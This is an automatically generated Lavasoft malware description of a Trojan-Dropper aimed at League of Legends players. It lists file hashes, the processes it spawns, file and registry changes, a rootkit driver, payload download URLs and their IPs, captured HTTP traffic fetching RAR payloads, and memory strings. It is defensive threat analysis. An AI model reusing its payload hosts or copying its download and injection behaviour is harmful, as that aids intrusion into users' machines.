Gen.Variant.Strictor.10499_3e1728ecf3

by malwarelabrobot on June 18th, 2016 in Malware Descriptions.

Trojan-Dropper.Win32.Flystud.d (Kaspersky), Gen:Variant.Strictor.10499 (B) (Emsisoft), Gen:Variant.Strictor.10499 (AdAware), Trojan.Win32.FlyStudio.FD, TrojanFlyStudio.YR (Lavasoft MAS)
Behaviour: Trojan-Dropper, Trojan


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: 3e1728ecf385ad20bab6279d5cd58898
SHA1: 7b74ec92a3960c047f855e190aea11b8b51b4dc1
SHA256: f030e921167ca306c9417f8fb39f642785801a7b93e63e75b2d4c79add9f72cd
SSDeep: 98304:RA280LQsm1vH 2mbBG1y52svD/D donCYUV:uzRvHN2BG1a7/A1Yc
Size: 3202666 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6, MicrosoftVisualC, MicrosoftVisualCv50v60MFC, MicrosoftVisualC50, Armadillov171
Company: no certificate found
Created at: 2000-05-19 13:11:55
Analyzed on: WindowsXP SP3 32-bit


Summary:

Trojan-Dropper. Trojan program, intended for stealth installation of other malware into user's system.

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

ping.exe:1976
LMIns.exe:340
ÖñÓ°LOL»»·ôÊÓ¾à.exe:224
%original file name%.exe:320

The Trojan injects its code into the following process(es):

Explorer.EXE:1572

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process LMIns.exe:340 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\~tmp_hl\mslmedia.inf (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%WinDir%\Setupsti.log (14023 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
%WinDir%\inf\oem10.inf (2 bytes)
%WinDir%\setupapi.log (3392 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\P5X9PT08\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_lm_delself_.bat (101 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\39HFPMMG\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\AZWHE3OF\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\3N5HN08H\desktop.ini (67 bytes)
%WinDir%\inf\oem10.PNF (11641 bytes)
%WinDir%\hllog.txt (36 bytes)
%WinDir%\_ntdll.bak (4545 bytes)
%System%\drivers\SET3.tmp (27 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\~tmp_hl\mslmedia.sys (1176 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\~tmp_hl\mslmedia.inf (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\~tmp_hl (0 bytes)
%System%\drivers\SET3.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\~tmp_hl\mslmedia.sys (0 bytes)

The process %original file name%.exe:320 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\E_4\krnln.fnr (5442 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\LMIns.exe (5442 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ÖñÓ°LOL»»·ôÊÓ¾à.exe (7972 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\E_4\shell.fne (57 bytes)

Registry activity

The process ping.exe:1976 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B8 B8 A3 2C 90 25 00 FE 7E 5D DA EF 2C 1D 26 2A"

The process LMIns.exe:340 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\System\CurrentControlSet\Control\GroupOrderList]
"FSFilter Activity Monitor" = "04 00 00 00 01 00 00 00 02 00 00 00 03 00 00 00"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\System\CurrentControlSet\Services\Mslmedia]
"DebugFlags" = "0"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"_lm_delself_.bat" = "_lm_delself_"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SYSTEM\LastKnownGoodRecovery\LastGood]
"INF/oem10.inf" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SYSTEM\LastKnownGoodRecovery\LastGood]
"INF/oem10.PNF" = "1"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "94 8F 5C 83 06 7C EA 66 B6 A8 BF 8C E8 80 36 A3"

[HKLM\System\CurrentControlSet\Services\Mslmedia\Instances]
"DefaultInstance" = "Mslmedia Instance"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKLM\System\CurrentControlSet\Services\Mslmedia\Instances\Mslmedia Instance]
"Altitude" = "370030"
"Flags" = "0"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The process ÖñÓ°LOL»»·ôÊÓ¾à.exe:224 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FD BF A5 06 6B 95 E9 9B 4B A4 D6 F7 73 B4 5E 82"

The process %original file name%.exe:320 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "75 73 B0 21 34 2D 80 0A 50 DE 33 9B A5 18 34 3E"

Dropped PE files

MD5 File path
97c8fe752e354b2945e4c593a87e4a8b c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\E_4\krnln.fnr
d63851f89c7ad4615565ca300e8b8e27 c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\E_4\shell.fne
ac0f04b85a1cfd50dbac571e6efe7fea c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\ÖñÓ°LOL»»·ôÊÓ¾à.exe
27d9ed8cb8b62d1e0a8e5ace6cf52e2f c:\WINDOWS\_ntdll.bak
325bb26842fc7ccc1fcce2c457317f3e c:\WINDOWS\system32\drivers\Mslmedia.sys
325bb26842fc7ccc1fcce2c457317f3e c:\WINDOWS\system32\drivers\msjclock.sys

HOSTS file anomalies

No changes have been detected.

Rootkit activity

Using the driver "%System%\DRIVERS\Mslmedia.sys" the Trojan controls loading executable images into a memory by installing the Load image notifier.

Propagation

VersionInfo

No information is available.

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 19868 20480 4.51528 15c1f09b5a84212473d3312136f61984
.rdata 24576 2634 4096 2.46987 c3a429c9401d144a06bbf6c66f26e739
.data 28672 8024 8192 1.98312 391dfe9979de8fe0fe40df3f14303242
.ecode 36864 4096 4096 3.11561 dd0555631ceaf30c86b63ebb73afd81f
.rsrc 40960 928 4096 1.37632 ba4c9b6b5ffe780d4a1a650201700687

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://hlsys.oss-cn-shenzhen.aliyuncs.com/updatever1.rar
hxxp://hlsys.oss-cn-shenzhen.aliyuncs.com/wkmde.rar
hxxp://hlupdate.liu1xia.com/updatever1.rar 120.25.112.8
hxxp://hlupdate.liu1xia.com/wkmde.rar 120.25.112.8
hlsoft7.liu1xia.com 120.25.122.145


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /updatever1.rar HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Host: hlupdate.liu1xia.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: AliyunOSS
Date: Fri, 17 Jun 2016 11:16:28 GMT
Content-Type: application/octet-stream
Content-Length: 42921
Connection: keep-alive
x-oss-request-id: 5763DC0C7FBF6737C73B68D5
x-oss-bucket-storage-type: standard
Accept-Ranges: bytes
ETag: "18642651E2C0B6D82D7577994400BB41"
Last-Modified: Tue, 17 May 2016 11:20:22 GMT
x-oss-object-type: Normal
x-oss-server-time: 1
x...}xSU.8|.....r....@.(.A......B.........:...........F.n...x/..{u..z.
...Q.3.i.MAF.~..V..]S.....=.Z.$iaf.....{......g......k............SU.k
.........~.f.a....?.l.-...U.{.Z6o.t......}.O..I..x.e..S..?...p[...n...
..k...y.s.......O.....X................Y....Y...}..[..\.....[\,\y..>
;.wu.]N.[.K.._Z.M..p)3...p.......Y..c|....)........u.y.I)..U2....{..[.
.4Y.....:.e..Aj#...w..D..4.~.t...<i.......;t"N.Q.,.w..-.......?..=.
~.\Y..-.....,.......tW.....u......cfH2.......7A.m.5.pf$...[.......s..V
c..kW...9.d5.UVSkFk....*....v.[.P....Y........x.g.BcoQ..)....*q\..'{..
.zM..[.:...{.......r.0xrj.0|[email protected].&.).... ]j....PGt
[zu.=...ag..^2l.....Q..._....:................)...aK.m.t#Q...g.X.%~aX.
L.Y-.....u...&....(,._.o...t.@...^...=6x.N.)X|....6..e......#..k5../[.
|.....@e...*`=....x..VSN..P.."5...D.....7../. .8"*_ }*=.kqt.J7Dm..E].d
...p..b.\..K.!......V '_O...Q...U.TiJ.....?N.n..Z..e..sH......%..?.M..
?m..!..V.|..g.h8.$...G....H.:.........M.Z...\s..Gai.kLW..i5..Y...2.W..
......"H$...l.|O#Gy........_,G.l.........l..5(.N.'.=.............e....
.{1.....3.....S...L.$..u*..r.m..x.EHw.Y...s........$..@. )...htU....%.
...;A...Fc.ff.H..1.t....T....d...g....8.... ..P...../.3.Jw....%.$.2.tk
......../{=..d....`[email protected]...!UP.. ou!)........J.mdc3.-x........
...n.7...?x.K......5x9........p.F..:.H:.5:.Rbti.J.Z.....J(.R:y...,.I..
Z[g\^..h.......e).=.D.......*iK A:...............VT^d....f.nTe@.......
.Z.p....su...#d.Z[.......~.N..qM..v..<.ap..X.....*..R......`.....'.
wfO,.f... .z.G.....<..d...7.D..q....Wz..........|!..N`M.H.%...j
<<< skipped >>>

GET /wkmde.rar HTTP/1.1


User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Host: hlupdate.liu1xia.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: AliyunOSS
Date: Fri, 17 Jun 2016 11:16:30 GMT
Content-Type: application/octet-stream
Content-Length: 370936
Connection: keep-alive
x-oss-request-id: 5763DC0E7FBF6737C73B6A74
x-oss-bucket-storage-type: standard
Accept-Ranges: bytes
ETag: "6425654B78B76B36BB26D98E1643C16F"
Last-Modified: Tue, 17 May 2016 11:20:23 GMT
x-oss-object-type: Normal
x-oss-server-time: 1
.*`....p..0P/....0.P`..0.p......P..`[email protected]`[email protected].
.M!x...a.h..0....r....!>..D.R.0".~..N.4..`...U..]Z.0..`.. c..k...(.
......h.FN.M.DX. .........hV...Y.'.bY........4.g.....t..Q^.SI.H.A.....
[email protected]@..u. ..%....f. [email protected].
....`[email protected]....@B... @[email protected].../2`..... .`  ..P@... ..0P.
.... `....P.0.....` [email protected]@.`. `.`0 [email protected].,[email protected]
P.0.`pP . ..pp. ....P.0 [email protected].. ...`.@..`..`0.0P0P.0.0.P .t.8...
.P.1.0...p..@... ..pp.p..p. .....n".1.Q.... p...p.b.0.....`0P.@.......
[email protected].(.....Q..d.@[email protected]...@[email protected]@`......`..0r p.$... .
...@... 0..P`........rw...`aP...0.V....P [email protected]...`pp.P.... `...@ @
`p... . .ppP.`p..P.P.P.p..`0..P.@0....@[email protected].  ....`..........P.``P...
@[email protected]. @.... ....@[email protected]..`.....00@....  ....P.. . @.p
[email protected].. @.. .....`[email protected].................@...`..p.0....
@p.@ ....p..p..  .Pp. ..p...@p....@.. ..p . . . [email protected][email protected]
...`P...@@p......`.P..`.p...@... . p.p.....`p. [."...<.\<<..,
\.H.....|.\\L.....k!C.l..|L.,....LK..$S.x..../5.....<..\.l.<..L.
L...4.(...W.V.`.......x...{..."..~. {'....p\l...|L.L.|..$6K.Tt. .!LT.!
.............k8......`1",@..B.@.......\\...<..X;[email protected].!.c...
....#...P{[email protected]/[email protected]...,..._[..tTI..
....#...t.....l..\......G.......q...X.60...D v..D.../x{[email protected]
[email protected]..!.......PG.t..ppP...5....8~.0.c.d..<`....v@p.
pp..t0.._O......`.......p..P)...lr..\,........L4......G.a..T......
<<< skipped >>>

The Trojan connects to the servers at the folowing location(s):

ÖñÓ°LOL»»·ôÊÓ¾à.exe_224:

.text
`.rdata
@.data
.rsrc
hCrT
3hCrT
t$(SSh
~%UVW
u$SShe
kernel32.dll
shlwapi.dll
dbghelp.dll
advapi32.dll
RegCloseKey
RegCreateKeyA
RegOpenKeyA
RegDeleteKeyA
RegEnumKeyA
\Game\hid.dll
@.reloc
user32.dll
GetAsyncKeyState
League of Legends.exe
TenRpcs.dll
\Air\assets\images\champions\*.jpg
%d&&'
123456789
00003333
deflate 1.1.3 Copyright 1995-1998 Jean-loup Gailly
inflate 1.1.3 Copyright 1995-1998 Mark Adler
%*.*f
CNotSupportedException
commctrl_DragListMsg
Afx:%x:%x:%x:%x:%x
Afx:%x:%x
COMCTL32.DLL
CCmdTarget
__MSVCRT_HEAP_SELECT
Broken pipe
Inappropriate I/O control operation
Operation not permitted
iphlpapi.dll
SHLWAPI.dll
MPR.dll
WINMM.dll
WS2_32.dll
VERSION.dll
GetProcessHeap
WinExec
KERNEL32.dll
GetKeyState
RegisterHotKey
UnregisterHotKey
USER32.dll
GetViewportOrgEx
GDI32.dll
WINSPOOL.DRV
RegOpenKeyExA
RegCreateKeyExA
ADVAPI32.dll
ShellExecuteA
SHELL32.dll
ole32.dll
OLEAUT32.dll
COMCTL32.dll
WININET.dll
GetCPInfo
CreateDialogIndirectParamA
UnhookWindowsHookEx
SetWindowsHookExA
SetViewportOrgEx
OffsetViewportOrgEx
SetViewportExtEx
ScaleViewportExtEx
GetViewportExtEx
comdlg32.dll
HID.dll
Shell32.dll
Mpr.dll
Advapi32.dll
User32.dll
Gdi32.dll
Kernel32.dll
.PAVCException@@
(&07-034/)7 '
?? / %d]
%d / %d]
.PAVCFileException@@
: %d]
(*.*)|*.*||
(*.WAV;*.MID)|*.WAV;*.MID|WAV
(*.WAV)|*.WAV|MIDI
(*.MID)|*.MID|
(*.txt)|*.txt|
(*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR|JPG
(*.JPG)|*.JPG|PNG
(*.PNG)|*.PNG|BMP
(*.BMP)|*.BMP|GIF
(*.GIF)|*.GIF|
(*.ICO)|*.ICO|
(*.CUR)|*.CUR|
%s:%d
windows
.PAVCNotSupportedException@@
out.prn
(*.prn)|*.prn|
%d.%d
%d/%d
1.6.9
unsupported zlib version
png_read_image: unsupported transformation
%d / %d
Bogus message code %d
libpng error: %s
libpng warning: %s
1.1.3
bad keyword
libpng does not support gamma background rgb_to_gray
Palette is NULL in indexed image
(%d-%d):
%ld%c
%d%d%d
rundll32.exe shell32.dll,
.PAVCObject@@
.PAVCSimpleException@@
.PAVCMemoryException@@
.?AVCNotSupportedException@@
.PAVCResourceException@@
.PAVCUserException@@
.?AVCCmdTarget@@
.?AVCCmdUI@@
.?AVCTestCmdUI@@
.PAVCArchiveException@@
zcÁ
#include "l.chs\afxres.rc" // Standard components
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity name="E.App" processorArchitecture="x86" version="5.2.0.0" type="win32"/><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="x86" publicKeyToken="6595b64144ccf1df" language="*" /></dependentAssembly></dependency></assembly>PADPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGX
:";6;=;};
>">)>2>8>
0 0$0(0,0
=,>0>4>8>
<8=<=@=#>
$0(0,0004080<0@0
= =$=(=,=0=4=8=
? ?$?(?,?
:$:*:0:6:
5%6U6~6
0 111=1]1
8$8,828?8|8
;,<0<8<<<
: :$:,:0:4:8:<:@:`<
?(?4?8?@?`?
HKEY_CURRENT_USER\Software\Tencent\LOL
HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS
F%*.*f
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\
(*.*)
1.0.0.0
(hXXp://VVV.eyuyan.com)

Explorer.EXE_1572_rwx_01E20000_00001000:

PID=1956(0)=1=0.0.0,0_0x0_0x0-0x0-ITS:0_0_0,fg=1,rmv=0/0 %WinDir%\Explorer.EXE

Explorer.EXE_1572_rwx_01EA0000_0007A000:

.text
`.rdata
@.data
.rsrc
@.reloc
tGHt.Ht&
deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly
1.2.3
inflate 1.2.3 Copyright 1995-2005 Mark Adler
Please contact the application's support team for more information.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
operator
GetProcessWindowStation
USER32.DLL
error in ReadProcessMemory , RVA=X sizeread=%d ret=%d Error=#%ld
error in WriteProcessMemory , sizewrite=%d ret=%d RVA=%I64X Error=#%ld
error in VirtualAllocEx , size=%d Error=#%ld
kernel32.dll
actth3.0.1
X=X
%s%d.%s.%s
---thisid=%d,drvio=%d, %d.%d.%d, moddenies=%d,codechgcnt=%d,dbg_flag=%X logstep=%d, uidfg=%d,codechg=%d,cw=%d, gid=%d,byid=%u,vbyid=%d, cfgflag=0x%X,actrunning=%d,netava=%d,netini=%d, nopc=%d,actc=%d,inopmm=%d,udppostc=%d,%s
---IJ=%s shdata=X idnotmch=%d tmused=%d,c_send=%d,c_recv=%d,fver%d.%d.%d.%d dllver=%u/using=%u
HttpDown run=%d,tsk=%d
UPOST:%d
P%d parse error
P%d 0xX,%d/%d step=%d,pst=%d ,%s(dw:X)
no udp post object
_hlmk_3.tmp~
No ID again,preid=%d, X line=%d
hXXp://%s/%s
-- [%s]-%s- %s
saveurl
c:\Windows\UrlSave\
hXXp://%s/soft/%u_%d.rar
Ole32.dll
ole32.dll
shell32.dll
hlrestart.bat
ping 127.0.0.1 -n 8
ShellExecuteA
locker32.dll
locker64.dll
DriverImpl64.sys
DriverImpl32.sys
XXXXXXX
netcfgurl
error in CreateFileMapping #%d,pro=0x%X,size=%d,name=%s
error in MapViewOfFile #%d
error in OpenMap #%d
%s=%s
HTTP/
ws2_32.dll
[%d]%s
d:d:d %s
d-d-d d:d:d %s
d_d_d.txt
advapi32.dll
ReportEventA
FindFirstUrlCacheEntryA
FindNextUrlCacheEntryA
DeleteUrlCacheEntryA
FindCloseUrlCache
InternetCanonicalizeUrlA
InternetCrackUrlA
HttpQueryInfoA
HttpOpenRequestA
HttpSendRequestA
HttpAddRequestHeadersA
InternetOpenUrlA
wininet.dll
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
&%s=%s
text/html,application/json, text/javascript, application/xhtml xml, application/xml;q=0.9,image/webp,*/*
Content-Type: application/x-www-form-urlencoded
url=%s
[%s] %s
srv=%s port=%d
HTTP/1.0
#%d file=%s
code=%d
#%d ,sess=%x url:%s
%d.%d.%d.%d
%s:%d
ntdll.dll
iphlpapi.dll
%4X:%.4X
%4X:%.8X
error in VirtualFreeEx , RVA=X Error=#%ld
-115726016"
kernelBase.dll
user32.dll
user32=%d/%d
.JPEG
hXXp://
D:\programs\out\HLSys\Release\locker.pdb
GetWindowsDirectoryA
KERNEL32.dll
GetCPInfo
GetConsoleOutputCP
GetProcessHeap
locker.dll
erroffset passed as NULL
this version of PCRE is not compiled with PCRE_UTF8 support
PCRE does not support \L, \l, \N, \P, \p, \U, \u, or \X
POSIX named classes are supported only within a class
POSIX collating elements are not supported
!"#$%&'()* ,-./0123456789
!"#$%&'()* ,-./
!"#$%&'()* ,-./012345678
!"#$%&'()* 
,-./0123456789:;
!"#$%&'(
$%&'()* ,-./0123
$%&'()* ,-.
!"#$%&'()* ,-./01234567
!"#$%&'()
Dbgview.exe
\explorer.exe
.?AVCUDPDataPost@@
.?AVCThread_UrlSaving@@
.?AUIHttpDownNotify@@
.?AVCHttpTask@@
.?AVCHttpDownService@@
.?AUIHttpSessNotify@@
.?AVCHttpSession@@
.?AVCWebHookHandler@@
192.168.
<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
7 72787?7
4(4.43484
5$5*5/545;5
7|7K7v7
4 444=4`4
6 6<6@6\6`6
KERNEL32.DLL
mscoree.dll
\msctf.dll
\uxtheme.dll


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Scan a system with an anti-rootkit tool.
  2. Terminate malicious process(es) (How to End a Process With the Task Manager):

    ping.exe:1976
    LMIns.exe:340
    ÖñÓ°LOL»»·ôÊÓ¾à.exe:224
    %original file name%.exe:320

  3. Delete the original Trojan file.
  4. Delete or disinfect the following files created/modified by the Trojan:

    %Documents and Settings%\%current user%\Local Settings\Temp\~tmp_hl\mslmedia.inf (2 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
    %WinDir%\Setupsti.log (14023 bytes)
    %Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
    %WinDir%\inf\oem10.inf (2 bytes)
    %WinDir%\setupapi.log (3392 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\P5X9PT08\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\_lm_delself_.bat (101 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\39HFPMMG\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\AZWHE3OF\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\3N5HN08H\desktop.ini (67 bytes)
    %WinDir%\inf\oem10.PNF (11641 bytes)
    %WinDir%\hllog.txt (36 bytes)
    %WinDir%\_ntdll.bak (4545 bytes)
    %System%\drivers\SET3.tmp (27 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\~tmp_hl\mslmedia.sys (1176 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\E_4\krnln.fnr (5442 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\LMIns.exe (5442 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\ÖñÓ°LOL»»·ôÊÓ¾à.exe (7972 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\E_4\shell.fne (57 bytes)

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

No votes yet


Lavasoft is the maker of Ad-Aware, the world's most popular anti-malware software with over 450 million downloads.
© 2026 Lavasoft. All rights reserved.
Terms Of Use |   Privacy Policy


x

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Enjoy unique new features, lightning fast scans and a simple yet beautiful new look in our best antivirus yet!

For a quicker, lighter and more secure experience, download the all new adaware antivirus 12 now!

Download adaware antivirus 12
No thanks, continue to lavasoft.com
close x

Discover the new adaware antivirus 12

Our best antivirus yet

Download Now